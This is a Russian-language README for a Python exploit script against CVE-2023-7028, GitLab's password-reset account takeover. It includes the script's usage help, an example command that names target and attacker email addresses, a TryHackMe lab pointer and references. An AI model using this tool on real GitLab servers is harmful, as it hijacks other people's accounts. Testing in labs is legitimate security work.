CVE-2023-7028

⚠️ Этот эксплойт предназначен для защитных целей и должен использоваться специалистами по кибербезопасности для выявления возможных уязвимых серверов GitLab.

Описание

CVE-2023-7028 - Захват учетной записи через сброс пароля без взаимодействия с пользователем в GitLab Community Edition и Enterprise Edition

Затронутые продукты и версии:

• CVSS: 10.0
• Активно эксплуатируется: ДА
• Патч: ДА
• Смягчение: НЕТ

Справка

usage: CVE-2023-7028.py [-h] -u URL -t TARGET -a ATTACKER

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     GitLab URL (HTTP or HTTPS)
  -t TARGET, --target TARGET
                        Target email address
  -a ATTACKER, --attacker ATTACKER
                        Attacker email address

Пример: python CVE-2023-7028.py -u https://gitlab.example.com -t [email protected] -a [email protected]

Лаборатория

Вы можете использовать комнату Try Hack Me GitLab CVE-2023-7028 для тестирования эксплойта, так как в ней работает уязвимая версия, подверженная CVE-2023-7028.

Обзор серверов GitLab от SHADOWSERVER:

Ссылки

• Критическое обновление безопасности GitLab: 16.7.2, 16.6.4, 16.5.6
• Более 5300 серверов GitLab подвержены атакам захвата учетных записей без клика
• Статистика GitLab от Shadowserver
• CVE-2023-7028 - AttackerKB